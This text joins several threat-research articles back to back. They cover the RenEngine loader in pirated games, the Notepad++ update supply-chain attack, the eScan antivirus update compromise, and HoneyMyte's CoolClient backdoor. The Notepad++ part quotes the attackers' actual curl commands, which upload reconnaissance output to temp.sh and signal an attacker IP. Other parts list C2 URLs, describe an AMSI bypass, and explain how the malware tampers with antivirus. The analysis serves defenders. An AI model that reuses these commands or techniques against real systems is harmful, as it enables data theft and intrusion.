We often describe cases of malware distribution under the guise of game cheats and pirated software. Sometimes such methods are used to spread complex malware that employs advanced techniques and sophisticated infection chains.
In February 2026, researchers from Howler Cell announced the discovery of a mass campaign distributing pirated games infected with a previously unknown family of malware. It turned out to be a loader called RenEngine, which was delivered to the device using a modified version of the Ren’Py engine-based game launcher. Kaspersky solutions detect the RenEngine loader as Trojan.Python.Agent.nb and HEUR:Trojan.Python.Agent.gen.
However, this threat is not new. Our solutions began detecting the first samples of the RenEngine loader in March 2025, when it was used to distribute the Lumma stealer (Trojan-PSW.Win32.Lumma.gen).
In the ongoing incidents, ACR Stealer (Trojan-PSW.Win32.ACRstealer.gen) is being distributed as the final payload. We have been monitoring this campaign for a long time and will share some details in this article.
Incident analysis
Disguise as a visual novel
Let’s look at the first incident, which we detected in March 2025. At that time, the attackers distributed the malware under the guise of a hacked game on a popular gaming web resource.
The website featured a game download page with two buttons: Free Download Now and Direct Download. Both buttons had the same functionality: they redirected users to the MEGA file-sharing service, where they were offered to download an archive with the “game.”
Game download page
When the “game” was launched, the download process would stop at 100%. One might think that the game froze, but that was not the case — the “real” malicious code just started working.
Placeholder with the download screen
“Game” source files analysis
The full infection chain
After analyzing the source files, we found Python scripts that initiated the initial device infection. These scripts imitated the endless loading of the game. In addition, they contained the is_sandboxed function for bypassing the sandbox and xor_decrypt_file for decrypting the malicious payload. Using the latter, the script decrypts the ZIP archive, unpacks its contents into the .temp directory, and launches the unpacked files.
Contents of the .temp directory
There are five files in the .temp directory. The DKsyVGUJ.exe executable is not malicious. Its original name is Ahnenblatt4.exe, and it is a well-known legitimate application for organizing genealogical data. The borlndmm.dll library also does not contain malicious code; it implements the memory manager required to run the executable. Another library, cc32290mt.dll, contains a code snippet patched by attackers that intercepts control when the application is launched and deploys the first stage of the payload in the process memory.
HijackLoader
The dbghelp.dll system library is used as a “container” to launch the first stage of the payload. It is overwritten in memory with decrypted shellcode obtained from the gayal.asp file using the cc32290mt.dll library. The resulting payload is HijackLoader. This is a relatively new means of delivering and deploying malicious implants. A distinctive feature of this malware family is its modularity and configuration flexibility. HijackLoader was first detected and described in the summer of 2023. More detailed information about this loader is available to customers of the Kaspersky Intelligence Reporting Service.
The final payload can be delivered in two ways, depending on the configuration parameters of the malicious sample. The main HijackLoader ti module is used to launch and prepare the process for the final payload injection. In some cases, an additional module is also used, which is injected into an intermediate process launched by the main one. The code that performs the injection is the same in both cases.
Before creating a child process, the configuration parameters are encrypted using XOR and saved to the %TEMP% directory with a random name. The file name is written to the system environment variables.
Loading configuration parameters saved by the main module
In the analyzed sample, the execution follows a longer path with an intermediate child process, cmd.exe. It is created in suspended mode by calling the auxiliary module modCreateProcess. Then, using the ZwCreateSection and ZwMapViewOfSection system API calls, the code of the same dbghelp.dll library is loaded into the address space of the process, after which it intercepts control.
Next, the ti module, launched inside the child process, reads the hap.eml file, from which it decrypts the second stage of HijackLoader. The module then loads the pla.dll system library and overwrites the beginning of its code section with the received payload, after which it transfers control to this library.
Payload decryption
The decrypted payload is an EXE file, and the configuration parameters are set to inject it into the explorer.exe child process. The payload is written to the memory of the child process in several stages:
First, the malicious payload is written to a temporary file on disk using the transaction mechanism provided by the Windows API. The payload is written in several stages and not in the order in which the data is stored in the file. The MZ signature, with which any PE file begins, is written last with a delay.
Writing the payload to a temporary file
After that, the payload is loaded from the temporary file into the address space of the current process using the ZwCreateSection call. The transaction that wrote to the file is rolled back, thus deleting the temporary file with the payload.
Next, the sample uses the modCreateProcess module to launch the child process explorer.exe and injects the payload into it by creating a shared memory region with the ZwMapViewOfSection call.
Payload injection into the child process
Another HijackLoader module, rshell, is used to launch the shellcode. Its contents are also injected into the child process, replacing the code located at its entry point.
The rshell module injection
The last step performed by the parent process is starting a thread in the child process by calling ZwResumeThread. After that, the thread starts executing the rshell module code placed at the child process entry point, and the parent process terminates.
The rshell module prepares the final malicious payload. Once it has finished, it transfers control to another HijackLoader module called ESAL. It replaces the contents of rshell with zeros using the memset function and launches the final payload, which is a stealer from the Lumma family (Trojan-PSW.Win32.Lumma).
In addition to the modules described above, this HijackLoader sample contains the following modules, which were used at intermediate stages: COPYLIST, modTask, modUAC, and modWriteFile.
Kaspersky solutions detect HijackLoader with the verdicts Trojan.Win32.Penguish and Trojan.Win32.DllHijacker.
Not only games
In addition to gaming sites, we found that attackers created dozens of different web resources to distribute RenEngine under the guise of pirated software. On one such site, for example, users can supposedly download an activated version of the CorelDRAW graphics editor.
Distribution of RenEngine under the guise of the CorelDRAW pirated version
When the user clicks the Descargar Ahora (“Download Now”) button, they are redirected several times to other malicious websites, after which an infected archive is downloaded to their device.
File storage imitations
Distribution
According to our data, since March 2025, RenEngine has affected users in the following countries:
Distribution of incidents involving the RenEngine loader by country (TOP 20), February 2026 (download)
The distribution pattern of this loader suggests that the attacks are not targeted. At the time of publication, we have recorded the highest number of incidents in Russia, Brazil, Türkiye, Spain, and Germany.
Recommendations for protection
The format of game archives is generally not standardized and is unique for each game. This means that there is no universal algorithm for unpacking and checking the contents of game archives. If the game engine does not check the integrity and authenticity of executable resources and scripts, such an archive can become a repository for malware if modified by attackers. Despite this, Kaspersky Premium protects against such threats with its Behavior Detection component.
The distribution of malware under the guise of pirated software and hacked games is not a new tactic. It is relatively easy to avoid infection by the malware described in this article: simply install games and programs from trusted sites. In addition, it is important for gamers to remember the need to install specialized security solutions. This ongoing campaign employs the Lumma and ACR stylers, and Vidar was also found — none of these are new threats, but rather long-known malware. This means that modern antivirus technologies can detect even modified versions of the above-mentioned stealers and their alternatives, preventing further infection.
UPD 11.02.2026: added recommendations on how to use the Notepad++ supply chain attack rules package in our SIEM system.
Introduction
On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ had been compromised. According to the statement, this was due to a hosting provider-level incident, which occurred from June to September 2025. However, attackers had been able to retain access to internal services until December 2025.
Multiple execution chains and payloads
Having checked our telemetry related to this incident, we were amazed to find out how different and unique the execution chains used in this supply chain attack were. We identified that over the course of four months, from July to October 2025, attackers who had compromised Notepad++ had been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.
We observed three different infection chains overall, designed to attack about a dozen machines, belonging to:
Individuals located in Vietnam, El Salvador, and Australia;
A government organization located in the Philippines;
A financial organization located in El Salvador;
An IT service provider organization located in Vietnam.
Despite the variety of payloads observed, Kaspersky solutions were able to block the identified attacks as they occurred.
In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.
Chain #1: late July and early August 2025
We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at http://45.76.155[.]202/update/update.exe. Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.
The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:
The file creates a directory named %appdata%\ProShow and sets it as the current directory;
It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.
Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, was described on the Notepad++ community forums by a user named soft-parsley.
After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:
Drops the following files to the %appdata%\ProShow directory:
The ProShow.exe file being launched is legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers decided to avoid using it — likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.
Analysis of the exploit payload revealed that it contained two shellcodes: one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contained a set of meaningless instructions and was not designed to be executed — rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.
The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.
The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.
Later on, in early August 2025, we observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:
In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to https://cdncheck.it[.]com/users/admin;
The Cobalt Strike C2 server URLs were set to https://cdncheck.it[.]com/api/update/v1 and https://cdncheck.it[.]com/api/Metadata/submit.
We have not further seen any infections leveraging chain #1 since early August 2025.
Chain #2: mid- and late September 2025
A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the URL http://45.76.155[.]202/update/update.exe, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:
Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
Dropped a next-stage payload on disk and launched it.
Regarding system information, attackers made the following changes to how it was collected:
They changed the working directory to %APPDATA%\Adobe\Scripts;
They started collecting more system information details, changing the shell command being executed to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.
The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same http://45.76.155[.]202/list endpoint, inside the User-Agent header.
As for the next-stage payload, it was changed completely. The NSIS installer was configured to drop the following files into the %APPDATA%\Adobe\Scripts directory:
Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.
All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:
As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.
The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the URL https://cdncheck.it[.]com/users/admin.
The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: https://cdncheck.it[.]com/api/getInfo/v1 and https://cdncheck.it[.]com/api/FileUpload/submit.
Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:
cmd /c whoami >> a.txt
cmd /c tasklist >> a.txt
cmd /c systeminfo >> a.txt
cmd /c netstat -ano >> a.txt
Notably, the same sequence of commands was previously documented by the user soft-parsley on the Notepad++ community forums.
The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. By using it, attackers performed the following:
Changed the system information upload URL to https://self-dns.it[.]com/list;
Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
Changed the URL used by the Metasploit downloader to https://safe-dns.it[.]com/help/Get-Start;
Changed the Cobalt Strike Beacon C2 server URLs to https://safe-dns.it[.]com/resolve and https://safe-dns.it[.]com/dns-query.
Chain #3: October 2025
In early October 2025, the attackers changed the infection chain once again. They also changed the C2 server for distributing malicious updates, with the observed update URL being http://45.32.144[.]255/update/update.exe. The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:
BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).
This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.
Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected by the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:
In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and http://45.77.31[.]210/users/admin for chain #1 and chain #2 payloads);
The Beacon configurations are encrypted with the XOR key CRAZY;
Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and https://45.77.31[.]210/api/FileUpload/submit for the chain #1 payload).
Return of chain #2 and changes in URLs: October 2025
In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: http://95.179.213[.]0/update/update.exe. Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.
Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:
http://95.179.213[.]0/update/install.exe;
http://95.179.213[.]0/update/update.exe;
http://95.179.213[.]0/update/AutoUpdater.exe.
We didn’t observe any new payloads deployed from these URLs — they involved usage of both #2 and #3 execution chains. Finally, we didn’t see any payloads being deployed since November 2025.
Conclusion
Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave the attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector — they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:
The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult, and at the same time creative, task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:
Check systems for deployments of NSIS installers, which were used in all three observed execution chains. For example, this can be done by looking for logs related to creations of a %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent — both these steps will make it possible to detect chain #1 and chain #2 deployments;
Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
Use the specific IoCs listed below to identify known malicious domains and files.
Let’s take a closer look at Kaspersky Next EDR Expert.
One way to detect the described malicious activity is to monitor requests to LOLC2 (Living-Off-the-Land C2) services, which include temp[.]sh. Attackers use such services as intermediate control or delivery points for malicious payloads, masking C2 communication as legitimate web traffic. KEDR Expert detects this activity using the lolc2_connection_activity_network rule.
In addition, the described activity can be detected by executing typical local reconnaissance commands that attackers launch in the early stages of an attack after gaining access to the system. These commands allow the attacker to quickly obtain information about the environment, access rights, running processes, and network connections to plan further actions. KEDR Expert detects such activity using the following rules: system_owner_user_discovery, using_whoami_to_check_that_current_user_is_admin, system_information_discovery_win, system_network_connections_discovery_via_standard_windows_utilities.
In this case, a clear sign of malicious activity is gaining persistence through the autorun mechanism via the Windows registry, specifically the Run key, which ensures that programs start automatically when the user logs in. KEDR Expert detects this activity using the temporary_folder_in_registry_autorun rule.
To protect companies that use our Kaspersky SIEM system, we have prepared a set of correlation rules that help detect such malicious activity. These rules are already available for customers to download from the SIEM repository; the package name is [OOTB] Notepad++ supply chain attack package – ENG.
The Notepad++ supply chain attack package contains rules that can be divided into two groups based on their detection capabilities:
Indicators of compromise:
malicious URLs used to extract information from the targeted infrastructure;
malicious file names and hashes that were detected in this campaign.
Suspicious activity on the host:
unusual command lines specific to these attacks;
suspicious network activity from Notepad++ processes and an abnormal process tree;
traces of data collection, e.g. single-character file names.
Some rules may need to be adjusted if they trigger on legitimate activity, such as administrators’ or inventory agents’ actions.
We also recommend using the rules from the Notepad++ supply chain attack package for retrospective analysis (threat hunting). Recommended analysis period: from September 2025.
For the detection rules to work correctly, you need to make sure that events from Windows systems are received in full, including events 4688 (with command line logging enabled), 5136 (packet filtering), 4663 (access to objects, especially files), etc.
UPD 30.01.2026: Added technical details about the attack chain and more IoCs.
On January 20, a supply chain attack has occurred, with the infected software being the eScan antivirus developed by the Indian company MicroWorld Technologies. The previously unknown malware was distributed through the eScan update server. The same day, our security solutions detected and prevented cyberattacks involving this malware. On January 21, having been informed by Morphisec, the developers of eScan contained the security incident related to the attack.
Malicious software used in the attack
Users of the eScan security product received a malicious Reload.exe file, which initiated a multi-stage infection chain. According to colleagues at Morphisec who were the first to investigate the attack, Reload.exe prevented further antivirus product updates by modifying the HOSTS file, thereby blocking the ability of security solution developers to automatically fix the problem, which, among other things, led to the update service error.
The malware also ensured its persistence in the system, communicated with command-and-control servers, and downloaded additional malicious payloads. Persistence was achieved by creating scheduled tasks; one example of such a malicious task is named “CorelDefrag”. Additionally, the consctlx.exe malicious file was written to the disk during the infection.
How the attackers managed to pull off this attack
At the request of the BleepingComputer information portal, eScan developers explained that the attackers managed to gain access to one of the regional update servers and deploy a malicious file, which was automatically delivered to customers. They emphasize that this is not a vulnerability — the incident is classified as unauthorized access to infrastructure. The malicious file was distributed with a fake, invalid digital signature.
According to the developers, the infrastructure affected by the incident was quickly isolated, and all access credentials were reset.
Having checked our telemetry, we identified hundreds of machines belonging to both individuals and organizations, which encountered infection attempts with payloads related to the eScan supply chain attack. These machines were mostly located in South Asia, primarily in India, Bangladesh, Sri Lanka, and the Philippines. Having examined them, we identified that to orchestrate the infection, attackers were able to replace a legitimate component of the eScan antivirus, located under the path C:\Program Files (x86)\escan\reload.exe, with a malicious executable. This reload.exe file is launched at runtime by components of the eScan antivirus. It has a fake, invalid digital signature (certificate serial number: 68525dadf70c773d41609ff7ca499fb5). We found this implant to be heavily obfuscated with constant unfolding and indirect branching, which made its analysis quite tedious.
Obfuscated code snippet
When started, this reload.exe file checks whether it is launched from the Program Files folder, and exits if not. It further initializes the CLR (Common Language Runtime) environment inside its process, which it uses to load a small .NET executable into memory (SHA1: eec1a5e3bb415d12302e087a24c3f4051fca040e). This executable is based on the UnmanagedPowerShell tool, which allows executing PowerShell code in any process. Attackers modified the source code of this project by adding an AMSI bypass capability to it, and used it to execute a malicious PowerShell script inside the reload.exe process. This script has three lines, and looks as follows:
Lines of the launched script
Each of these lines is responsible for decoding and launching a Base64-encoded PowerShell payload. These three payloads, which we will further analyze, are used for the infection on the target machine.
eScan antivirus tampering payload
The first executed payload is deployed to tamper with the installed eScan solution, in an attempt to prevent it from receiving updates and detecting the installed malicious components. To do that, it performs several actions, including the following ones:
Deletes multiple files of the eScan antivirus, including the Remote Support Utility located at C:\Program Files (x86)\Common Files\MicroWorld\WGWIN\tvqsapp.exe. Notably, before deletion, the payload creates ZIP-archived backups of removed files inside the C:\ProgramData\esfsbk directory.
Modifies the HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\MwMonitor registry key to add the C:\Windows, C:\Program Files and C:\Program Files (x86) folders to antivirus exceptions.
Adds update servers of the eScan antivirus (such as update1.mwti.net) to the hosts file, associating them with the IP address 2.3.4.0.
Modifies registry keys related to antivirus databases, for example by assigning 999 to the WTBases_new value of the HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\ODS registry key.
While tampering with eScan, this payload writes a debug log to the C:\ProgramData\euapp.log file, which can be used as an indicator of compromise.
It is worth noting that while running this payload, we did not observe all these actions to succeed on our test machine with eScan installed. For example, the self-defense component of eScan was able to prevent malicious entries from being written into the hosts file. Nevertheless, after the payload had finished execution, we were unable to further update eScan, as we were getting this error message:
Error message displayed to us when we launched the update process after tampering with eScan. While the message says, “The operation completed successfully”, its appearance is abnormal, and no updates are actually downloaded or installed
Finally, the first payload replaces the C:\Program Files (x86)\eScan\CONSCTLX.exe component of eScan with a next-stage persistent payload, which we will describe in further sections of this article.
AMSI bypass payload
The second payload launched is designed to bypass AMSI. The payload implements typical code for doing that – it determines the address of the AmsiScanBuffer function and then patches it to always return an error.
Snippet of the AMSI bypass payload (deobfuscated version)
Victim validation payload
The goal of the third payload, which is the last to be executed, is to validate whether the victim machine should be further infected, and if yes, to deliver a further payload to it. When started, it examines the list of installed software, running processes and services against a blocklist. Entries in this blocklist are related to analysis tools and security solutions. Notably, Kaspersky security solutions are included into this blocklist. This means that this stage will refuse to deliver the embedded payload if Kaspersky products are installed on the victim machine.
If validation is successful, the payload proceeds with deploying a PowerShell-based persistent payload on the infected machine. To do that, it:
Writes the persistent payload to the Corel value of the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key.
Creates a scheduled task named Microsoft\Windows\Defrag\CorelDefrag, designed to execute the following PowerShell script every day at a random time:
PowerShell script executed by the CorelDefrag scheduled task (beautified version)
This script retrieves the persistent payload from the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key, Base64-decodes and then executes it.
When the payload execution finishes, either because validation failed or the persistent component was deployed successfully, it sends a heartbeat to the C2 infrastructure. This is done by sending a GET request, which contains a status code and optionally an error message, to the following URLs:
As such, during installation, the infected machine receives two persistent payloads:
The CONSCTLX.exe payload, designed to be launched by the eScan antivirus
The PowerShell-based payload, designed to be launched via a scheduled task
The CONSCTLX.exe persistent payload
This payload is obfuscated in the same way as the Reload.exe malicious executable. In the same way as this executable, CONSCTLX.exe initializes the CLR environment to execute a PowerShell script inside its own process. The goal of this script is to retrieve the other (PowerShell-based) persistent payload from the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key, and execute it. However, this script contains another interesting feature: it changes the last update time of the eScan product to the current time, by writing the current date to the C:\Program Files (x86)\eScan\Eupdate.ini file. This is needed to make the eScan solution GUI display a recent update date, so that the user does not notice that antivirus updates are actually blocked.
Screenshot of the eScan product GUI, with the highlighted date that is changed by the payload
Apart from launching the PowerShell script, the payload also attempts to retrieve a fallback payload from the C2 infrastructure, by sending GET requests to the following URLs:
https://csc.biologii[.]net/sooc
https://airanks.hns[.]to
If there is a need to deliver this payload, the server responds with an RC4-encrypted blob, which is decrypted by the component and launched as shellcode.
The PowerShell-based persistent payload
The second deployed payload is entirely PowerShell-based. When started, it performs an AMSI bypass and conducts the same validation procedures as the victim validation payload. It further sends a GET request to the C2 infrastructure, using the same URLs as the validation payload. In this request, the cookie value named “s” contains RC4-encrypted and Base64-encoded system information, such as the victim ID, user name and current process name. In response to this request, the C2 server may optionally send the victim a PowerShell script, to be launched by the victim machine.
A rarely observed attack vector
Notably, it is quite unique to see malware being deployed through a security solution update. Supply chain attacks are a rare occurrence in general, let alone ones orchestrated through antivirus products. Based on the analysis of the identified implants, we can conclude that this attack was prepared thoroughly, as to orchestrate it, attackers had to:
Get access to the security solution update server.
Study the internals of the eScan product to learn how its update mechanism works, as well as how to potentially tamper with this product.
Develop unique implants, tailored to the supply chain attack.
An interesting fact about the implants deployed is that they implement fallback methods of performing malicious operations. For example, if the scheduled task that launches the PowerShell payload is deleted, it will still be launched by the CONSCTLX.exe file. In addition, if the C2 servers used by the PowerShell payload are identified and blocked, attackers will be still able to deploy shellcodes to the infected machine through CONSCTLX.exe.
One lucky thing about this attack is that it was contained in a quite a short period of time. As security solutions have a high level of trust within the operating system, attackers can use a variety of creative ways to orchestrate the infection, for example by using kernel-mode implants. However, in the attack we saw, they relied on user-mode components and commonly observed infection techniques, such as using scheduled tasks for persistence. This factor, in our opinion, made this supply chain attack easy to detect.
How to stay safe?
To detect infection, it is recommended to review scheduled tasks for traces of malware, check the %WinDir%\System32\drivers\etc\hosts file for blocked eScan domains, and review the eScan update logs for January 20.
The developers of eScan have created a utility for their users that removes the malware, rolls back the modifications it has made, and restores the normal functionality of the antivirus. The utility is sent to customers upon request to technical support.
Users of the solution are also advised to block known malware command-and-control server addresses.
Files and folders
C:\ProgramData\esfsbk
C:\ProgramData\euapp.log
Scheduled task name
Microsoft\Windows\Defrag\CorelDefrag
Registry keys
HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E
HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\ODS – value WTBases_new set to 999
Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.
As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.
An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.
In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.
Variants of CoolClient abusing different software for DLL sideloading (2021–2025)
The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.
Overview of CoolClient execution flow
However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.
CoolClient functionalities
In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.
In this latest variant, CoolClient relies on several important files to function properly:
Filename
Description
Sang.exe
Legitimate Sangfor application abused for DLL sideloading.
libngs.dll
Malicious DLL used to decrypt loader.dat and execute shellcode.
loader.dat
Encrypted file containing shellcode and a second-stage DLL. Parameter checker and process injection activity reside here.
time.dat
Encrypted configuration file.
main.dat
Encrypted file containing shellcode and a third-stage DLL. The core functionality resides here.
Parameter modes in second-stage DLL
CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.
Parameter
Actions
No parameter
· CoolClient will launch a new process of itself with the install parameter. For example: Sang.exe install.
install
CoolClient decrypts time.dat.
Adds new key to the Run registry for persistence mechanism.
Creates a process named write.exe.
Decrypts and injects loader.dat into a newly created write.exe process.
Checks for service control manager (SCM) access.
Checks for multiple AV processes such as 360sd.exe, zhudongfangyu.exe and 360desktopservice64.exe.
Installs a service named media_updaten and starts it.
If the current user is in the Administrator group, creates a new process of itself with the passuac parameter to bypass UAC.
work
Creates a process named write.exe.
Decrypts and injects loader.dat into a newly spawned write.exe process.
passuac
Bypasses UAC and performs privilege elevation.
Checks if the machine runs Windows 10 or a later version.
Impersonates svchost.exe process by spoofing PEB information.
Creates a scheduled task named ComboxResetTask for persistence. The task executes the malware with the work parameter.
Elevates privileges to admin by duplicating an access token from an existing elevated process.
Final stage DLL
The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.
Clipboard and active windows monitor
A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.
